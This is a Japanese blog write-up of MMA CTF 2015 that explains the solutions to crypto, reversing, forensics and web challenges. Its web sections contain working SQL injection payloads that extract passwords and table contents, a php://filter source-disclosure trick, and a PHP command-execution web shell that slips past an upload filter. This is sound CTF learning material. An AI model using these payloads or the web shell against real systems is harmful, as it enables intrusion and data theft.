MMA CTF 1st 2015 Write-up

MMA CTF 1st 2015に参加した。開催日に知って、ちょっと簡単な問題だけ解くつもりだったけど、どの問題も面白くてがっつり参加してしまった。難易度も幅広くて取っつきやすい。

結果は1150点、38位。100チーム以上が解いている解くべき問題は解けるが、それ以上はいまいちといういつもの感じ。ランキング。

Welcome!!

MMA{Welcome_To_MMACTF!!}

Pattern Lock

3x3のパターンロックの総数と、4x4のパターンロックの最長距離を求めよという問題。

3x3はプログラムを書いたらバグって不正解だったけど、ググったら出てきた。

389112

4x4は動的計画法。普通に探索するとO(16!)（プロコンオーダー記法）だが、残っている点とその点のうちどこから書き始めるかを覚えておけば、O(2^16×16)で解ける。ちなみに最長のルートは、 5 11 4 10 0 15 1 14 6 8 7 12 2 13 3 9。

"""
 0  1  2  3
 4  5  6  7
 8  9 10 11
12 13 14 15
"""

import math

def check(f, t, u):
  if u>>t&1:
    return False
  fx = f%4
  fy = f/4
  tx = t%4
  ty = t/4

  for i in range(2,4):
    if (tx-fx)%i==0 and (ty-fy)%i==0:
      for j in range(1,i):
        px = fx + (tx-fx)/i*j
        py = fy + (ty-fy)/i*j
        if not u>>(py*4+px)&1:
          return False
  
  return True

memo = [[-1]*65536 for _ in range(16)]
next = [[-1]*65536 for _ in range(16)]


def BT(p,u):
  global memo
  global next
  if memo[p][u]>=0:
    return memo[p][u]
  ans = 0
  n = 0
  for i in range(16):
    if check(p,i,u):
      l = BT(i, u|1<<i)+math.hypot(p%4-i%4,p/4-i/4)
      if l>ans:
        ans = l
        n = i
  memo[p][u] = ans
  next[p][u] = n
  return ans
ans = 0
n = 0
for i in range(16):
  l = BT(i, 1<<i)
  if l>ans:
    ans = l
    n = i
print ans

u = 1<<n
p = n
print p,
for i in range(15):
  print next[p][u],
  p,u = next[p][u],u|1<<next[p][u]
print

45.6790

Smart Cipher System

暗号化CGIと、暗号文が渡されて、復号しろという問題。全4問。

crypt2

シーザー暗号。+23すれば良い。

MMA{bba85b6768db240f8c4ae3c29f9928c74f6ca091}

crypt4

平文と暗号文の文字が一対一で対応している。簡単。出現する文字をあらかじめ変換して持っておけば良い。

MMA{bba85b6768db240f8c4ae3c29f9928c74f6ca091}

crypt5

直前の文字とのxor。最初の文字は文字数とxor。

T = [int(x,16) for x in "60 00 0c 3a 1e 52 02 53 02 51 0c 5d 56 51 5a 5f 5f 5a 51 00 05 53 56 0a 5e 00 52 05 03 51 50 55 03 04 52 04 0f 0f 54 52 57 03 52 04 4e".split()]
c = len(T)
ans = ""
for t in T:
    c ^= t
    ans += chr(c)
print ans

MMA{e75fd59d2c9f9c227d28ff412c3fea3787c1fe73}

crypt6

色々試すと、文字を並び替える、文字をビットローテートする、の2段階で暗号化されていることが分かる。またビットローテートの量は対応する位置にある文字の下3ビット。並び替えとビットローテートで対応する文字の位置は文字数ごとに固定。ビットローテートでは立っているビットの個数は変わらないので、ACGO_@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@とかを送信して並び替え方を調べる。2文字目はビットローテートは5bitで固定。ここから順番に復号していく。

T1 = [1, 23, 3, 39, 5, 25, 7, 35, 9, 27, 11, 43, 13, 29, 15, 37, 17, 31, 19, 41, 21, 33, 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44]
T2 = [23, 3, 39, 5, 25, 7, 35, 9, 27, 11, 43, 13, 29, 15, 37, 17, 31, 19, 41, 21, 33, 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, -1]
C = [int(x, 16) for x in "62 a9 6c 28 0e 33 31 c6 68 cd 66 66 59 46 cc 53 0c 98 31 65 c6 35 c9 a9 60 4e 37 b0 33 46 0d 60 46 26 66 33 cc e6 a9 f6 6c 07 2b 23 af".split()]
P = [""]*45

def shift(n,s):
  return n>>s|n<<(8-s)&0xff

p = 1
P[T1.index(p)] = chr(shift(C[p], 5))
p = T1.index(p)

while T2[p]!=-1:
  t = T2[p]
  P[T1.index(t)] = chr(shift(C[t], ord(P[p])&0x7))
  p = T1.index(t)
print "".join(P)

MMA{f9cf7a3ddd5710e85116814fef01c907f4df35ce}

Login as admin!

ログインフォームの脆弱性をついて、adminのパスワードを調べろという問題。典型的なSQL Injection。userの名前がDBから取得した名前になるので、ブラインドSQLなどを使う必要も無い。下の文字列をusernameに入れていけば良い。

' UNION SELECT sqlite_version(), 0--
→ You are 3.8.2 user.

' UNION SELECT sql, 0 FROM sqlite_master--
→ You are CREATE TABLE user ( user text, password text ) user.

' UNION SELECT password, 0 FROM user WHERE user='admin'--
→ You are MMA{cats_alice_band} user.

MMA{cats_alice_band}

Splitted

pcapファイルが問題で、zipファイルをRangeリクエストでダウンロードしていた。分割の個数も多くないので、手作業で貼り合わせ。開いたらPhotoshopのファイルが出てきて、白紙だったけど、レイヤーが重なっているだけ。

MMA{sneak_spy_sisters}

How to use?

WindowsのDLLファイル。?fnhowtouse@@YAHH@Zというシンボル名は、UnDecorateSymbolNameというAPIで元に戻せる。int __cdecl fnhowtouse(int)。Pythonのctypesは簡単にDLLの関数が呼び出せて便利。ちなみに、OllyDbgとかImmunityDebuggerなら、DLLファイルを開くと自動でロードしてくれる。これでデバッグしても良さそう。

from ctypes import *
f = getattr(cdll.howtouse, "?fnhowtouse@@YAHH@Z")
print "".join(chr(f(i)) for i in range(45))

MMA{fc7d90ca001fc8712497d88d9ee7efa9e9b32ed8}

RPS

Rock Paper Scissors。じゃんけん。ジャンケンで50連勝しろという問題。ジャンルはPwn。長いプレイヤー名を入力すると、乱数のシード値を上書きして、固定できる。例えば、aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaにすると、SRPRRSRRSSRPRSSSSRRSRPSRPSSSPRRSPPRRSRRPSRPPPRPPSPで勝てる。

MMA{treed_three_girls}

This program cannot be run in DOS mode.

DOSモードでは実行できないけど、Windowsでも実行できない。良く見たら、MZヘッダ中のPEヘッダのオフセットが0で潰されていた。0x3cバイト目を0xe8にすれば良い。

MMA{7a35hxb9q81fsg6}

Signer and Verifier

SignerとVerifierというサーバーが提示された。最初は何のことか分からなかったが、Signerに数字を入力すると数字が返ってくる。Verifierでは固定のnとeが表示され、それとは別に数字が表示されて「Sign it!」と言われる。これはRSA暗号で、Signerはx^dを計算し、Verifierにx^dを返してやると、正解らしい。それではと、SignerにVerifierが提示した数字を入力すると、By the way, I'm looking forward to the PIDs subsystem of cgroups.という謎のエラーで怒られる。

Verifierが表示した数字をxとして、Signerには(2x)^d=2^d x^dを計算してもらう。Signerに2を入力すると、2^dが返ってくるので、あとはこれで(2x)^dを割れば良い。

# coding: utf-8

n = 167891001700388890587843249700549749388526432049480469518286617353920544258774519927209158925778143308323065254691520342763823691453238628056767074647261280532853686188135635704146982794597383205258532849509382400026732518927013916395873932058316105952437693180982367272310066869071042063581536335953290566509
e = 65537

# 2^d
x = 45079099838985725562852606238717200427051379007624461327902168505601211187218876469734461321234449872036659707405487725511293056518165755448751892780025070359086690571912728851484390191469176434804920520148004120893601096389983117747368657326741086665038698187413495968534490174851162613343138684260784792820

# 拡張ユークリッドの互除法
# mx+ny = gcd(m,n)となる(x, y, gcd(m,n))を返す
def exgcd(m, n):
    if n>0:
        y,x,d = exgcd(n, m%n)
        return x, y-m/n*x, d
    else:
        return 1, 0, m
y = exgcd(x, n)[0]

from socket import *
import time

ss = socket(AF_INET, SOCK_STREAM)
ss.connect(("cry1.chal.mmactf.link", 44815))

sv = socket(AF_INET, SOCK_STREAM)
sv.connect(("cry1.chal.mmactf.link", 44816))

time.sleep(1)
a = int(sv.recv(1000).split()[-1])
print "a",a

ss.sendall(str(2*a%n)+"\n")
time.sleep(1)
b = int(ss.recv(1000))      # (2a)^d
print "b",b

ans = b*y%n     # a^d
print "ans",ans
sv.sendall(str(ans)+"\n")
time.sleep(1)
print sv.recv(1000)

MMA{homomorphic_challengers}

Simple Hash

64bitの計算を32bitのプログラムがやっていてとても読みづらい……。が、aを入力として単に

(((0*577+a_0)*577+a_1)*577+a_2)… mod 1000000000000037

を計算しているだけだった。これが、0x1e1eab437eeb0となる値をサーバーに送れば良いらしい。 どうやって逆算するのか悩んだが、modを取っている値が32bitでも64bitでもなく中途半端なことに気が付いた。誕生日攻撃。このハッシュ値を逆算して、最終的に0x1e1eab437eeb0となるような途中のハッシュ値を10000000個くらい求める。あとは順方向からハッシュ値を計算して、大量のハッシュ値の中に同じハッシュ値があればOK。

# coding: utf-8

n = 1000000000000037

def calc_hash(key):
    a = 0
    for k in key:
        a = a*577+ord(k)
        a %= n
    return a

hash = 0x1e1eab437eeb0
inv = pow(577,n-2,n)
print inv
print 577*inv%n

H = {}
for i in range(10000000):
    if (i%100000==0):
        print i
    h = hash
    key = str(i)
    for k in key[::-1]:
        h = (h - ord(k))%n*inv%n
    H[h] = i

i = 0
while True:
    if (i%100000==0):
        print i
    h = calc_hash(str(i)+"a")
    if h in H:
        print "%sa%s"%(i, H[h])
        break
    i += 1

17267385a2163295。もちろん他にも同じハッシュ値になる文字列はある。

MMA{mocho is cute}

Uploader

何でもアップロードできるアップローダーに、.phpのファイルを置かれると危険。ただし、

このアップローダは/<\?|php/を全て消去します。よって、PHPを実行することは出来ません。

らしい。<?php以外に何かないのかと、HTML からの脱出を見たら、<script language="php">があった。でも、phpが含まれているのでは……。→<script language="PHP">。

<script language="PHP">
  passthru($_GET["cmd"]);
</script>

を置いて、フラグを探したら、ルートディレクトリにあった。

MMA{you can run php from script tag}

Mortal Magi Agents

この問題が、解けない → ひらめいた → やっぱり解けない → ひらめいた → の繰り返しで、月曜の朝まで夜更かしするハメになった。結局解けなくて、とても悔しい。

何か色々と穴のあるウェブサービス。SQL Injectionとか、ディレクトリトラバーサルとか、すでに存在するユーザーでもサインアップできるとか。

URLの?page=newsの部分には任意のファイルを指定できる。ただし末尾にPHPが付加されるし、PHPはそのまま実行されるので、?page=indexとしてもページが入れ子になるだけ。PHPのフィルタを使い、?page=php://filter/convert.base64-encode/resource=indexとしてBase64に変換すると.phpのファイルの読める。adminsテーブルに名前があるユーザーとしてログインすると、../flagが表示されるらしい。

昔のPHPなら、?page=../flag%00で終了だったけど、最近は対策されているらしい。残念。

db.phpにDBのパスワードが書かれているが、外部からは接続不可。残念。

DBアクセス全てインジェクション可能。ただし、サインアップ時は、ユーザー名に制限がありパスワードもハッシュ化されるので無理。最初はsqlmapを使ってブラインドSQLインジェクションをして負荷を掛けていたが、ログイン時にavatorとして取り出せば良いことに途中で気が付いた。例えば、ユーザー名をasdfasdf')union select 0,'86f7e437faa5a7fce15d1ddcb9eaeaea377667b8',(SELECT group_concat(name) from admins),0#、パスワードをaとすると、avatorの部分にadminsテーブルの中身が出力される。データベースから取り出す時点ではなく、取り出した後でパスワードをチェックしているで辻褄を合わせる必要がある。adminsテーブルの中身は、adminとasdf。adminのパスワードハッシュはffffffffffffffffffffffffffffffffffffffffでasdfは5feba136aea0208ee7f522eb2de1b315eb828512。クラックしようとしたけど無理だった。

SQLインジェクションでフラグを読めば良いのではと、asdfasdf')union select 0,'86f7e437faa5a7fce15d1ddcb9eaeaea377667b8',load_file('/var/www/flag'),0#でログインしたけど、DBユーザーは読み取り権限が無いようだった。残念。

ユーザー名adminにしてサインアップするとadminになれるが、何でフラグが表示されないんだ……としばらく悩んだ。フラグを表示するかどうかのセッション変数が設定されるのはログイン時だった。DBには一意性制約があるらしく。サインアップしたように見えて、一度ログアウトするとログインできない。残念。

アップロードする画像のパスにはユーザー名が使われる。普通は英数字に制限されているけど、SQLインジェクションで.php.が入った名前でログインすることができる。phpは末尾ではなく途中にあっても実行されるはず……と思ったが、PHPの実行は無効化されていた。avatorsディレクトリ以外には書き込み不可。残念。

あとはavator画像時のUPDATE文を利用して、adminかasdfのログインパスワードを書き換えるしかない。該当するコードは、

$filename = "avators/" . $_SESSION["user"] . sha1_file($_FILES['file']['tmp_name']) . $ext;
$db->query("UPDATE users SET avator = '$filename' WHERE name = '".$_SESSION['user']."'");

$_SESSION['user']が2箇所に表れるけど、最初でコメントアウトすれば良さそう。問題は、$_SESSION['user']に文字列を書き込むにはこの文字列でログインする必要があること。ログインのコードは、

$results = $db->query("SELECT * FROM users WHERE (name = '$user' AND not banned)");

コメントアウトすると括弧の整合性がとれなくなる。

最後に思いついたのが、ユーザー名ed4126e1' AND hashed_password='5e4d8f8ba96ff555b3029839cd8a56bd9272ad89' AND banned='0。これによって、それぞれのSQL文は、

SELECT * FROM users WHERE (name = 'ed4126e1' AND hashed_password='5e4d8f8ba96ff555b3029839cd8a56bd9272ad89' AND banned='0' AND not banned)
UPDATE users SET avator = 'avators/ed4126e1' AND hashed_password='5e4d8f8ba96ff555b3029839cd8a56bd9272ad89' AND banned='09089.png' WHERE name = 'ed4126e1' AND hashed_password='5e4d8f8ba96ff555b3029839cd8a56bd9272ad89' AND banned='0'

となる。でも、UPDATEのところで失敗。bannedに文字列を設定しているからだろうか……（書いている途中に気が付いた。UPDATEの列の区切りはANDじゃなくて,だ）。

終了。

想定解放。

Mortal Magi Agentsの想定解法: https://t.co/p9BshyY4MQ

— ytoku (@__ytoku) 2015, 9月 7

すごい……。

regrettable ecc

楕円曲線公開鍵暗号の復号。Gは楕円曲線上点、e=65537。秘密鍵は整数k。暗号化は乱数rを生成して、M=rG, S=eM, H=kG, T=erH-M。Mを平文の暗号化に使う。公開鍵は、SとT。復号時は、M=kS-Tとする。たしかに、kS-T=kerG-(erkG-M)=M。何かそれっぽい。使っている楕円曲線もNIST推奨のもの。

楕円曲線は除算ができないので、SからMを求めることはできない。こんなん無理では……と思ったけど、よくよく考えてみると、eMからeを求めることはできなくても、Mを求めることはできる。環なので、eの逆数を掛ければ良い。楕円曲線の位数は自明ではないが、良く使われる曲線なので、ググったら出てきた。n=115792089210356248762697446949407573529996955224135760342422259061068512044369らしい。1/e=pow(e, n-2, n)。

【問題のclass ECP】をコピペ

p = 115792089210356248762697446949407573530086143415290314195533631308867097853951
A = -3
B = 41058363725152142129326129780047268409114441015993725554835256314039467401291
G = ECP(48439561293906451759052585252797914202762949526041747995844080717082404635286,
        36134250956749795798585127919587881956611106672985015071877198253568414405109)
e = 65537
DEM_IV = "\xAA"*16

# https://perso.univ-rennes1.fr/sylvain.duquesne/master/standards/standards_NIST_Certicom.txt
n = 115792089210356248762697446949407573529996955224135760342422259061068512044369

inv = pow(e, n-2, n)

S = ECP(114415776318896227909080061791436136534751468438742349442109460521381468180987, 113006367255062683561771671227582279732943810213810498306378475155500374652448)
T = ECP(71511408166265472816974171596094618880923968931727783411416162091208530633368, 21293382321037703297575365042014944295932942747556648773039800366087504602357)
dem_c = 3513567433984887885115224229823172531083230224356638967377256761767267040054250835842705493954920117835275646236313L

M = inv*S

def unpad(m):
    return m[:-ord(m[-1])]

cipher = AES.new(long_to_bytes(M.x, 32), mode = AES.MODE_CBC, IV = DEM_IV)
print unpad(cipher.decrypt(long_to_bytes(dem_c, AES.block_size)))

という解法プログラムを書いたらエラー。なぜか問題のECPの加算がxが等しい場合にNoneを返していたので、ECP(None, None)を返すように修正した。

MMA{4a2f832ab7fae69820a697156e0d3dd7423f81ed}

stream...

解けなかった。他の人の答え。ヘッダを見たらクライアントは古いWindows Media PlayerらしいからXPを引っ張り出して、問題のファイルを送信するサーバーを書いたけどダメだった。解像度は取得できているっぽいのに、何故か再生してくれなかった。ぐぬぬ。

Nagoya Castle

ステガノグラフィー。Stegsolveで開いて、ボタンを押したら答えが出てきた。

MMA{raw_cr3am_pasta!}

Alicegame

すごく単純な問題なのに解けなかった。悔しいけど、すごい。

MQAAAA

問題文のBase64を復号すると、

#@~^MQAAAA== Um.bwDR+1tKcJtH)    Dtnm6VlTmhKDN|rd{K46EdmCObWU8rbjRIAAA==^#~@

何か見覚えがあるんだが、何だったかな……と思ったら、WSHの暗号化だった。拡張子を.jseに変えれば良い。

MMA{the_flag_word_is_obfuscation}

Perfect Matching

完全マッチングを求める問題。最大フローに帰着して……というのは二部グラフの場合。一般グラフの場合は面倒だと蟻本に書いてあった。Boostに実装がある。呼び出し方はこんな感じ。

#include <iostream>
#include <vector>
#include <boost/graph/adjacency_list.hpp>
#include <boost/graph/max_cardinality_matching.hpp>

using namespace std;
using namespace boost;

int main()
{
    int n; cin>>n;
    adjacency_list<> g(n);
    for (int i=0; i<n; i++)
    {
        int c;
        cin>>c;
        for (int j=0; j<c; j++)
        {
            int t;
            cin>>t;
            add_edge(i, t, g);
        }
    }

    vector<adjacency_list<>::vertex_descriptor> mate(n);
    if (checked_edmonds_maximum_cardinality_matching(g, &mate[0]))
    {
        for (int i=0; i<n; i++)
            cout<<mate[i]<<endl;
    }
    else
        cout<<"failed"<<endl;

    return 0;
}

10000点くらいなら一瞬で解いてくれる。すごい。あとはこれをPythonから呼び出す。で、試してみたら後半は完全マッチングが見つからない。問題ジャンルにPwnが追加された意味を考えましょう。他の人の解答。普段Pythonを使っているのにこれに気が付かなかったのは悔しい。